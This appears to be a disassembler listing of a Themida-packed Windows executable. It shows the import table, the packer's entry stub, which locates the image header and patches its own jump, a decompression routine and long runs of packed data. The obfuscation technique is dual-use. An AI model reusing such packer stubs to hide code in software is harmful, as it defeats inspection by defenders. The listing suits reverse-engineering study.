; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4DF000h
a7icwCw		db '7╗Гw╣\Гw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0DF050h, 0DF000h, 3 dup(0)
		dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E0000)
; Virtual size			: 000E7000 ( 946176.)
; Section size in file		: 000E7000 ( 946176.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E0000h
		dd 0EBEB6E11h, 4259Bh, 5409Dh, 95172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00540A69 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00543D8E SIZE 00000062 BYTES
; FUNCTION CHUNK AT 00544004 SIZE 000000DD BYTES
; FUNCTION CHUNK AT 00544117 SIZE 0000004A BYTES
; FUNCTION CHUNK AT 005441B8 SIZE 00000015 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E0086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E0041
		popa
		jmp	short loc_4E0076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------

loc_4E0041:				; CODE XREF: start+18j
		call	$+5
		pop	eax

loc_4E0047:				; DATA XREF: ___:00437A6Co
		and	eax, 0FFFFF000h
		xor	edi, edi

loc_4E004E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E006D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E0074

loc_4E006D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E004E
; ---------------------------------------------------------------------------

loc_4E0074:				; CODE XREF: start+57j
		mov	edi, eax

loc_4E0076:				; CODE XREF: start+1Bj
		jmp	loc_4E0265
; ---------------------------------------------------------------------------
		db 3
		dd 26AB9C7h, 0CF03000Eh
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------

loc_4E0086:				; CODE XREF: start+8j
		mov	eax, offset loc_540A69
		mov	ecx, offset word_4E026A
		push	eax
		push	ecx
		call	sub_4E011B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E0265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
		dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
		dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh,	0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E011B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h

loc_4E0127:				; CODE XREF: sub_4E011B:loc_4E013Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2

loc_4E0132:				; CODE XREF: sub_4E011B+7Aj
					; sub_4E011B+C3j ...
		add	dl, dl
		jnz	short loc_4E013B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E013B:				; CODE XREF: sub_4E011B+19j
		jnb	short loc_4E0127
		add	dl, dl
		jnz	short loc_4E0146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0146:				; CODE XREF: sub_4E011B+24j
		jnb	short loc_4E0197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E0153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0153:				; CODE XREF: sub_4E011B+31j
		jnb	loc_4E0238
		add	dl, dl
		jnz	short loc_4E0162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0162:				; CODE XREF: sub_4E011B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E016D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E016D:				; CODE XREF: sub_4E011B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0178:				; CODE XREF: sub_4E011B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0183:				; CODE XREF: sub_4E011B+61j
		adc	eax, eax
		jz	short loc_4E018D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi

loc_4E018D:				; CODE XREF: sub_4E011B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0197:				; CODE XREF: sub_4E011B:loc_4E0146j
		mov	eax, 1

loc_4E019C:				; CODE XREF: sub_4E011B:loc_4E01B0j
		add	dl, dl
		jnz	short loc_4E01A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01A5:				; CODE XREF: sub_4E011B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E01B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01B0:				; CODE XREF: sub_4E011B+8Ej
		jb	short loc_4E019C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E01E3
		mov	ecx, 1

loc_4E01C0:				; CODE XREF: sub_4E011B:loc_4E01D4j
		add	dl, dl
		jnz	short loc_4E01C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01C9:				; CODE XREF: sub_4E011B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E01D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01D4:				; CODE XREF: sub_4E011B+B2j
		jb	short loc_4E01C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E01E3:				; CODE XREF: sub_4E011B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1

loc_4E01F1:				; CODE XREF: sub_4E011B:loc_4E0205j
		add	dl, dl
		jnz	short loc_4E01FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01FA:				; CODE XREF: sub_4E011B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E0205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0205:				; CODE XREF: sub_4E011B+E3j
		jb	short loc_4E01F1
		cmp	eax, 7D00h
		jnb	short loc_4E0228
		cmp	eax, 500h
		jb	short loc_4E0223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0223:				; CODE XREF: sub_4E011B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E022B

loc_4E0228:				; CODE XREF: sub_4E011B+F1j
		add	ecx, 2

loc_4E022B:				; CODE XREF: sub_4E011B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0238:				; CODE XREF: sub_4E011B:loc_4E0153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E0259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0259:				; CODE XREF: sub_4E011B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E011B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_4E0265:				; CODE XREF: start:loc_4E0076j
					; start+9Dj
		jmp	loc_540A69
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E026A	dw 38E9h		; DATA XREF: start+77o
		dd 1573320h, 0E17122FFh, 30BCAF1Bh, 312D341Ch, 0C60E7523h
		dd 0A2FA1003h, 7B843B22h, 0B892C8EFh, 9822AF42h, 0C0BB0AE1h
		dd 74736552h, 38727361h, 2EBD7041h, 8D70783Eh, 80167DFh
		dd 10247F55h, 116E5475h, 0BCBE1003h, 38CF8A35h,	1B184D5Dh
		dd 29A9EF01h, 33BCABDCh, 46B801A5h, 5400EFAEh, 696D6568h
		dd 1BE16164h, 6F2AE9FAh, 0DC21BCB0h, 795F2303h,	0FD081736h
		dd 70249157h, 8BE3D58Fh, 60D490C5h, 5D10E1E8h, 2F00ED81h
		dd 8905EA33h, 0C41D7195h, 208DB50Dh, 800BCD85h,	20ECBD83h
		dd 0C748083h, 27E8728Bh, 5DA7B8E2h, 4470BCC2h, 3EC42098h
		dd 6A012ABDh, 81A3E845h, 749A6829h, 0DFE90783h,	4B250A40h
		dd 440A7A89h, 1429E9D5h, 405FEC02h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	dword ptr [ebx], 0FFFFFFC4h
		fsubr	st, st(6)
		add	[edx-7Fh], ebx
		jmp	far ptr	0C7DAh:8B00341Dh
; ---------------------------------------------------------------------------
		dw 4524h
		dd 0E6C08D8h, 8896340h,	80F37D81h, 0F741D19h, 83FC0820h
		dd 61109287h, 0EB4312FFh, 0DC368DE1h, 0C9D02661h, 460450C2h
		dd 7CC41A81h, 493902FFh, 458D1066h, 5D8B0580h, 1185C708h
		dd 8D285019h, 0C3D1020Ah, 89411888h, 0BD810BA2h, 0A5D0688h
		dd 5027E375h, 64A3BA8Dh, 8A8075B0h, 0F4BB0E12h,	0ABB85B40h
		dd 3F785437h, 0F30D0D3h, 0F7754B08h, 0C314AFECh, 914A4647h
		dd 42F98A46h, 8A61D18Ah, 0F01DD0E8h, 45EE627Fh,	0EB4D82FCh
		dd 23AD8F04h, 143E8046h, 84BAF740h, 7D9834DBh, 7F64EB0Ch
		dd 6D33F83Eh, 32F01221h, 10A0F40Eh, 0F065C14Ah,	0F8D60450h
		dd 3E0D10Eh, 332858C2h,	1C8A07DBh, 33FB8030h, 0A0F0A72h
		dd 4F057739h, 2299BCEBh, 0DFD6114h, 0DB660A9Fh,	0D3D71E08h
		dd 10AB0AC3h, 72411A0Ch, 37460A0Bh, 0A8240677h,	0F05D0186h
		dd 83F41CECh, 7202C67Dh, 0C0CD0CB0h, 0AAD9A576h, 73F82690h
		dd 80DA8D81h, 0FC553BA8h, 78822A0Fh, 6FB070BDh,	0BA9438AAh
		dd 0B9380838h, 10FC702Ah, 35ACBDh, 49470FFEh, 71B9FA75h
		dd 386A7722h, 1BFD01BBh, 0CEB82F1h, 868E60C7h, 6F23779h
		dd 37655138h, 0E5FE1D36h, 70A268Ah, 590005E9h, 0C01024B8h
		dd 0C32C3ADFh, 1D038C98h, 34CD58B4h, 0CBF096F1h, 67E034h
		dd 5B4E3982h, 0B8100F76h, 43D510Fh, 0CC3B8ED1h,	3A753C46h
		dd 11B02E09h, 0E4EC480Eh, 6906514h, 0C584013Dh,	8C968E05h
		dd 0E153B591h, 2950C204h, 3605718Ch, 0A00EE782h, 2BC3FFECh
		dd 48047781h, 0C1012522h, 7533F984h, 3FBC9020h,	670A7677h
		dd 330230EFh, 8C89EC41h, 0FFCC9F7Fh, 45CF4090h,	5060E9EAh
		dd 5200C462h, 11254D8Ch, 84B1AA82h, 845AABCDh, 0A6561308h
		dd 825E0AC0h, 0A08197EEh, 8A5544E1h, 13A2B9FAh,	28972305h
		dd 85731043h, 0BC6713C1h, 88786D4h, 70822DF7h, 110F13C4h
		dd 0DA3D8DFCh, 0E0DC0E61h, 532220ACh, 3A71E181h, 0E2806259h
		dd 16F0BC05h, 0B061B38h, 638610CAh, 186B745Dh, 1104E958h
		dd 0C4726021h, 257D8A14h, 84533C8h, 4821001Ch, 0FC9CC458h
		dd 75002F95h, 676956B0h, 19C8DB8Ch, 0EC03D286h,	0E9318C02h
		dd 7760B0Eh, 989FD3C8h,	0A68E50A7h, 0F77BA5CEh,	2512EA30h
		dd 78530Dh, 0C42DC757h,	94335DBEh, 0DE0C1600h, 5C9A34C1h
		dd 8C3D53EAh, 3C69B714h, 466C6A9Fh, 0C45A1C52h,	704D8A88h
		dd 0C4005242h, 0F5312133h, 513062E9h, 2A00950Ch, 1E6C20BCh
		dd 0CD8A295Eh, 10701E46h, 0FCDDA370h, 56072807h, 6650310Ah
		dd 3DB1A7F7h, 27E88A10h, 4B8901DEh, 885C1986h, 0B9248E4Ah
		dd 0B6017C44h, 8CBD2882h, 9F560DAh, 17F31B80h, 49339C6Dh
		dd 13772124h, 0DCA07120h, 820C5BD2h, 146AE8C8h,	0A469F4B5h
		dd 2588D08Ah, 8FA6573Bh, 675A601Ah, 0A27035B9h,	81033AE6h
		dd 0EA5FE1D9h, 0D2250015h, 3E149139h, 0CCE31B5Bh, 0ED0172F2h
		dd 0B220520Fh, 0ABCDAD3Ch, 7E30C220h, 50317D87h, 1096BEAh
		dd 5F0FC4E8h, 40F78259h, 0B80B24E0h, 9C106360h,	0A019C5A3h
		dd 180CBEEBh, 0D610358Ah, 8D01B1C1h, 0BB02EA84h, 2AE47450h
		dd 3D02D44Ah, 0FA0E5448h, 281C97DDh, 0F80F45DAh, 0F2A4EAC4h
		dd 52C74605h, 19C0FC08h, 0EEF1F482h, 0EA483B71h, 0F80055D9h
		dd 320A35CAh, 7C00B48Dh, 5A52A39Fh, 0F4DDCB44h,	769300FEh
		dd 8B5CB778h, 7E89BDCh,	4BEB0503h, 9B7A48A2h, 317854h
		dd 293B6899h, 938CDB67h, 0CA01D80Ch, 62D203Ch, 236C1104h
		dd 5272314Ch, 1EF4093Ah, 7C394BDEh, 4D604F7Fh, 0CA9FD621h
		dd 8572DFh, 90B14AF9h, 5B19B4EEh, 4B63CF71h, 0D0800759h
		dd 0EAB94Ah, 0D2151E3Ah, 433C72F3h, 0A99DC503h,	99F9EE29h
		dd 0C8F703D9h, 39D157E0h, 79186006h, 0EDB2610Eh, 7B4EB80Fh
		dd 0CC84205Bh, 53EBB92h, 4A4F49C8h, 0E15C0E5Ch,	0CD2DB1F8h
		dd 0A94F89C0h, 3348DDCh, 671ED8A8h, 0C4A08AD2h,	94F0F0C8h
		dd 9DF9C23Bh, 0CD402E83h, 99E12CC9h, 83C0097h, 0D4A824FBh
		dd 3700FA49h, 6FD29A72h, 0C91F9E3h, 904EE13Ch, 3007F28h
		dd 2D07FA55h, 0D20B06h,	0CBD4538Ch, 0E7E0F827h,	353E2B00h
		dd 94D3911Bh, 30AE82Dh,	8106FB05h, 50001AD0h, 0E91BA708h
		dd 78F93323h, 5B30C037h, 0F803DB50h, 6D9D8000h,	61DDDCFh
		dd 204B60C7h, 0A092FB3Ch, 0FA0C40DEh, 0C73929h,	46BC130Bh
		dd 0A64D06C3h, 93757000h, 83F2388h, 79FF6014h, 0BCAEFE2Ch
		dd 6A507F01h, 1E9FE877h, 2DFC9CC9h, 74FD0060h, 3F443195h
		dd 781808B4h, 1071A371h, 0B8200041h, 5387EE49h,	0CCEDABE4h
		dd 0F8385C80h, 6DF183A2h, 32AFA0Bh, 0A87C1E99h,	1D80F1Ch
		dd 0C30064E1h, 98B019CAh, 137FB1Dh, 3B89DA7Fh, 40928175h
		dd 0D8551C94h, 2E121F06h, 190F464h, 0B94347A9h,	403844B0h
		dd 191848D0h, 0D3693F60h, 0C09C5174h, 0FF159240h, 955C7550h
		dd 966073C8h, 5CC01AC1h, 7040C047h, 5101D6Ah, 7D3528C2h
		dd 92CCA020h, 0C001734Dh, 2357A918h, 0CC30B371h, 1CFAA1D9h
		dd 322C1C7Fh, 31293115h, 11984754h, 83A60D84h, 834D9628h
		dd 9CC002F3h, 0D3E59D7Eh, 7711E880h, 3E38FA3Ch,	71CC5413h
		dd 0E6008E77h, 347F819Eh, 6B5DF07h, 6DED80D9h, 446138CAh
		dd 0D129E548h, 94A81A00h, 69D06C64h, 0E10E6080h, 76C9C011h
		dd 2A60AB59h, 29948500h, 0CCAF721Bh, 0A7974005h, 0A693D5Ch
		dd 0BC13BA0Dh, 20D82346h, 0EC121F3Ch, 90409AFAh, 7E9E711Bh
		dd 0D9620053h, 0D8949268h, 71C017E0h, 7F69A58Ch, 19C00D2h
		dd 0F45CD33Fh, 0B4014D1Eh, 2E199EEBh, 58B11884h, 2AEF988h
		dd 0FFB88532h, 114F9401h, 718A1218h, 8F848391h,	48FC80D5h
		dd 130ADE2Dh, 19879CF7h, 73778904h, 97336780h, 1C374860h
		dd 0EBCE0300h, 0E68E3F59h, 0A916E030h, 7DBBF84Fh, 0D25F032Bh
		dd 0B546D9ADh, 221DA8D9h, 0CCB1051Ch, 8C00CAE0h, 0C32C861Bh
		dd 21B530DEh, 0ED7D3C99h, 903FBB37h, 0B6421FA0h, 0E8F84893h
		dd 0EAAA2703h, 2DC31594h, 0C7B8500Eh, 33A872Eh,	0F0ED5D43h
		dd 873E5Bh, 7AC4090Ch, 74C3A736h, 0E194411Ch, 0EB6BC8C0h
		dd 1F5A1650h, 0BA7E701Ah, 12A26F07h, 1DFE777h, 875764E2h
		dd 0B48C710h, 0D1D6BBC0h, 0CA862665h, 0C04200F7h, 54F5E36Bh
		dd 63078E00h, 731B89D3h, 0A05A28C9h, 6A5900E8h,	982EB839h
		dd 601C86E6h, 54A8594h,	720F80BEh, 0A80B017Fh, 18D9356Eh
		dd 12988004h, 0D603B364h, 0ED7EEF4Bh, 8801E5B1h, 19843572h
		dd 1BAE2981h, 21366CB8h, 0F0096054h, 14503573h,	0B8262424h
		dd 0ACB8BCDCh, 8512E403h, 1AFB1020h, 447C30B0h,	999D8120h
		dd 69DDCC30h, 83904C80h, 1C20D9BFh, 42EEFB09h, 55602E00h
		dd 84C10AD5h, 0C6E21591h, 8104E007h, 4334995h, 28881427h
		dd 0EB700Eh, 767FD4CBh,	61027BB4h, 27E68900h, 65741DCDh
		dd 9C9E1C75h, 5E71B071h, 0A007E65Fh, 15C81F8h, 8FA35900h
		dd 61C04D1h, 922D1D18h,	0C464131Ch, 0D126D200h,	20143364h
		dd 255401B0h, 0A18532C7h, 72F893A7h, 0D049F421h, 0E4FD4h
		dd 136BC5F9h, 29FFBA20h, 0EB4DC100h, 0A974B426h, 0B638C79Bh
		dd 0F1066F70h, 41981098h, 44031424h, 10E09B0Bh,	1E7A2064h
		dd 8086D8E5h, 4D1CA646h, 9300EFF8h, 989ABD37h, 0F09DBAD0h
		dd 60C985Ch, 0ACAA0DFBh, 0FA58A11Dh, 0F4C1C040h, 0B469933h
		dd 0D6C4AFD1h, 8288628Ah, 11BD9F3Fh, 0C609BCA0h, 1A802959h
		dd 472339F9h, 5C492FB0h
		dd 0D8003DA0h, 0B9D2BDC0h, 2E174C6Ah, 7B87913h,	0A9D5481Ah
		dd 0C8980409h, 8000473Bh, 0AB4AB996h, 7B2C7A93h, 0A3C807D7h
		dd 606C5DF2h, 0C2F98A4Fh, 45D14819h, 589A9C40h,	28467925h
		dd 9D51CA07h, 53C047CEh, 150EFF3h, 0A5EADD3Ah, 0F0706089h
		dd 0C113427Bh, 54201F17h, 2859DA80h, 874B89Fh, 3EC5C621h
		dd 0FB6CE101h, 31A84D9Bh, 51682068h, 9F8AB806h,	5819AB1h
		dd 0D6959619h, 9C1C04DDh, 9D064231h, 54C4DFh, 550EC0E2h
		dd 0FB13D8A7h, 0B97141C0h, 1C9996E6h, 0C080AF1Fh, 90B5ECB1h
		dd 0DA5C7B87h, 0D721102Ch, 0B86C720Ah, 78D0884h, 0EE089C01h
		dd 0B8A13075h, 0E7AF80CCh, 49BEB0A7h, 0B1464A00h, 0FA801161h
		dd 1C61816h, 9B3450D2h,	9F51D900h, 0FA785B3h, 9DFB2486h
		dd 0AA984294h, 0A0E29093h, 1C80E0AFh, 95722879h, 0AF4311C0h
		dd 5C196065h, 0C18447Eh, 84B3893Dh, 40901524h, 8C29E31Eh
		dd 0FC0C1024h, 121A1881h, 27582Eh, 91E98578h, 1C670C1Dh
		dd 0DD937E10h, 1B2802ABh, 4CACBF92h, 1718A0C8h,	0C63AE8A6h
		dd 81351412h, 2D3283B8h, 0AE491690h, 0AFB420E0h, 0C8A08B7Ch
		dd 360189F0h, 35EC6120h, 2C70630Bh, 0C218881Ah,	8C1ED7Ch
		dd 69056FE3h, 13F019DDh, 5879DD2Eh, 0DC8C31F6h,	0F8E4100Eh
		dd 0CEE243B7h, 774890FEh, 336100E0h, 0E46BF1E5h, 19281781h
		dd 0FC44202Ch, 18F8FE8Fh, 2CC49085h, 61020D42h,	10ED8157h
		dd 0BAD880FDh, 0B81448B0h, 308890C4h, 9818FC39h, 1B4A30B8h
		dd 0D7CA7C60h, 5BE876h,	5FD1E2CCh, 0EB2B6AFDh, 49003F72h
		dd 0CA830424h, 58A82D91h, 0AF05E8F9h, 92CF3194h, 0B0A09A24h
		dd 414E5257h, 0A1986E07h, 7C20F5C2h, 0F5FFC59Dh, 0EC213471h
		dd 0E4FA9C08h, 44A8906Dh, 352C6F09h, 0A740307Bh, 0C1FD13D3h
		dd 1C01D131h, 66BFC8B2h, 8D6E3700h, 93879B43h, 47BC2845h
		dd 0CD3B1DE0h, 849026C1h, 1248541Dh, 0C7E4EB07h, 813882ABh
		dd 3372032Ch, 24A3C1F1h, 1A88903Ch, 126025A0h, 0A1816407h
		dd 884574CCh, 8AF87229h, 80D033FAh, 9AA2F069h, 4502ED0Eh
		dd 41159018h, 0E1C4C370h, 298028F9h, 0BF09FB59h, 55000416h
		dd 8BEE4610h, 1DBCA125h, 807EE16Dh, 959B5421h, 0A812BA1Ch
		dd 64023968h, 249C9FFBh, 0F1BCCD98h, 0FA5C419Eh, 0D469A602h
		dd 92052011h, 7213815h,	0F1C64284h, 40FA534Dh, 488E37E4h
		dd 11AA853Ch, 7104999Ch, 0B0F9CD29h, 0AAF0A370h, 1D31BB1Ch
		dd 61482418h, 77FA01C0h, 1611D5A9h, 9B199E50h, 54979FCAh
		dd 222A91Dh, 34526DD5h,	64C1C2B9h, 200AA884h, 71A726h
		dd 3FAED908h, 9235DA0Bh, 0D518EC91h, 7E6C413Fh,	0E315111Ah
		dd 98CC85E0h, 0FB0B0248h, 3174B360h, 77E28450h,	5447C301h
		dd 0E10FE971h, 85016C63h, 167067B2h, 9B9D6082h,	0A40B5D14h
		dd 0AE9D17D0h, 2BF98C46h, 0CC5C0031h, 0E90971FCh, 6C702F44h
		dd 3C932800h, 0B81FE2D4h, 709090BAh, 5182F0h, 599F9900h
		dd 4DD6D009h, 980AC852h, 42E02FBBh, 0DC13A299h,	1EE4C240h
		dd 0F900EB19h, 0F4F5CD51h, 9A7FAA2Ch, 84D4088Ch, 2225A44Dh
		dd 8BA2B194h, 19C40408h, 0B81DAE40h, 68806260h,	84401618h
		dd 0A8BC0210h, 1468150Ch, 31486D9Dh, 12BC488Ch,	0F05FD784h
		dd 680189EEh, 1AF82594h, 289F457h, 2194C2Ch, 0CC91F409h
		dd 10044B1Bh, 96099094h, 0CC28C415h, 800D12FCh,	834D9C48h
		dd 7F6C19D5h, 59B7D788h, 421DF044h, 150EC0F3h, 23C9115Eh
		dd 0CB2A4800h, 0F745A7F8h, 0AF40C22Ch, 0F450F184h, 68E0A837h
		dd 900950C5h, 18E04461h, 0A11EDFEEh, 540B490Dh,	87240AACh
		dd 3D401F60h, 15B5DE81h, 30A87039h, 0F520A9B2h,	3DE9495h
		dd 88E7AA7Dh, 0D5E0B46Eh, 7C906544h, 1E29A567h,	1D2E12Ch
		dd 1A0B061Ch, 20F52439h, 28A27550h, 5E08B405h, 0E2EF898Ch
		dd 4EA87827h, 0C0403449h, 8A45B7Fh, 900CE14Ch, 919DA1ACh
		dd 7EEDDC10h, 1C05E52Ch, 84B14483h, 1F7901ADh, 0E5877168h
		dd 2C21A809h, 5C058542h, 419CB170h, 0D4A02418h,	872820DAh
		dd 140D232Eh, 7900AD91h, 77575A04h, 3F0013BBh, 0FFBC8688h
		dd 660B3C7Bh, 41DCC06Ch, 0F95C6909h, 9420201Fh,	746D2089h
		dd 0AFA8A138h, 29506E8h, 0C3A8078Ah, 0F0907586h, 85F73D9Ch
		dd 0E9E138F1h, 0FAD39841h, 50BF0161h, 65D900F9h, 24CBAA7Fh
		dd 570030A7h, 0D301BE0Fh, 6504Eh, 37F04791h, 0E294892Fh
		dd 38227900h, 13702D42h, 6AD900A4h, 2CC7DC0Eh, 0C90709B1h
		dd 0D803AE3Ch, 0E2415260h, 6E4000E4h, 0F1877D29h, 6090D075h
		dd 1E722B0Ch, 31040A3h,	0AF119ADCh, 0AAF0C8F8h,	4DEC0F2Dh
		dd 478D4300h, 79F20234h, 0BAD20087h, 0FE303922h, 995C8272h
		dd 0A70A1DC9h, 0F8A51142h, 5604C4CAh, 0E5AB0491h, 0D6EF840h
		dd 481797A6h, 3F00D8AFh, 0F8072F9Fh, 0CB3BFE55h, 64458041h
		dd 0B7F1917Fh, 332E00D0h, 0E71171F2h, 0E60554Bh, 6BA72D40h
		dd 75410090h, 0C0F90F0Ah, 30005B42h, 71294625h,	4C5680D4h
		dd 26035A40h, 0D9DB128Eh, 91A80EC8h, 40A02230h,	3F9753Bh
		dd 435203D1h, 71C84C89h, 0DE0085F2h, 0ED14B7E5h, 8E223Dh
		dd 544BA681h, 169194C4h, 596BAA1Fh, 0D1F7BC82h,	9738620Dh
		dd 6C875D94h, 28109D0Ah, 0FEC209A1h, 0F070075h,	84435303h
		dd 2072548h, 0DC917922h, 3D261630h, 5D7B002Dh, 0E6E4E99h
		dd 240092A5h, 0F8AF564h, 7D92FAFh, 54F416F8h, 3137D13Ah
		dd 0C9F8CBBCh, 717F281Ch, 0E7498418h, 20A70840h, 540E279Fh
		dd 6004B40Fh, 90FE1701h, 317244h, 0DC9EBEFDh, 6D32D0BDh
		dd 1E8BF800h, 1BA04D99h, 11CB09A7h, 0C40CFC64h,	12C0540h
		dd 0D4D58C1Dh, 6D128500h, 2C9DDC7Fh, 540900AAh,	7F5993Fh
		dd 43081C4Dh, 374180h, 0C0DB888Dh, 35002C22h, 981E7667h
		dd 0F7F63D9h, 0A8E392A1h, 0A5468BA0h, 0D3A1005h, 99000BBh
		dd 0BE287030h, 0E2E51D8Ah, 4A168012h, 4CE48177h, 0A60BA000h
		dd 0FF9B269Ah, 754B0083h, 554EDCF5h, 407D7E43h,	0BEF34700h
		dd 1379D894h, 28710033h, 0D7A31276h, 0A40070A1h, 2E641097h
		dd 7CAA4390h, 5D030232h, 1A096048h, 1077ACC1h, 14332029h
		dd 885384F9h, 0FBBF0491h, 0D93BED00h, 0D7438F86h, 38015D00h
		dd 788782Dh, 572CB46Bh,	9389DE00h, 633B53h, 862F6888h
		dd 0B0662801h, 8485D87Ah, 11D7CFAh, 0BD29CCB3h,	7A03187Ch
		dd 9373423Ch, 0DFB1290Eh, 891AA0C6h, 0B6121F23h, 21AE18E0h
		dd 0C600EE57h, 0A5F522Ch, 149120Bh, 0A9F64778h,	2AADDDACh
		dd 2D0180Fh, 0F2B33D74h, 0F7633C48h, 120955C0h,	0D8E4C01Ch
		dd 2F080654h, 3836ECACh, 7D5CC450h, 6127C507h, 62A11DDCh
		dd 1C58036Fh, 745482A2h, 3FA01E40h, 37FC0684h, 2E6B8C0Bh
		dd 0FE120138h, 0AA03A778h, 0BC0994F0h, 0DD21D8EDh, 0EC78C25Bh
		dd 84769FFAh, 4CA02482h, 0C06E0649h, 102A832Fh,	833BE1A8h
		dd 0FAA09039h, 30151880h, 8AC00979h, 0F9301107h, 39DCD131h
		dd 0B36E015Ch, 0BB943F53h, 0A108AF43h, 5C41FE68h, 7E6BCECh
		dd 23D2FFDh, 7F82D0FBh,	0DC0589C5h, 0B8241DDDh,	940C3803h
		dd 3E0A2E7h, 66A15E3Ch,	0E0402F14h, 0DFDC0628h,	0B5F60B80h
		dd 0C0C28939h, 45805C54h, 6CA6DC0Eh, 77E7183Fh,	3B35038h
		dd 0F00C26F1h, 7DC9FC2Fh, 0BD2B00DAh, 9EEC525Ah, 0D605BECEh
		dd 5BA584AFh, 9443ECE1h, 88900DFh, 6B716F3Bh, 0D80C8C92h
		dd 8549A03h, 0E989247h
		dd 687160E0h, 0ABA08A2Fh, 432D9CC7h, 2AE39B0Eh,	59066078h
		dd 10610816h, 71AFE13h,	45853B2Dh, 8246B760h, 2107051Fh
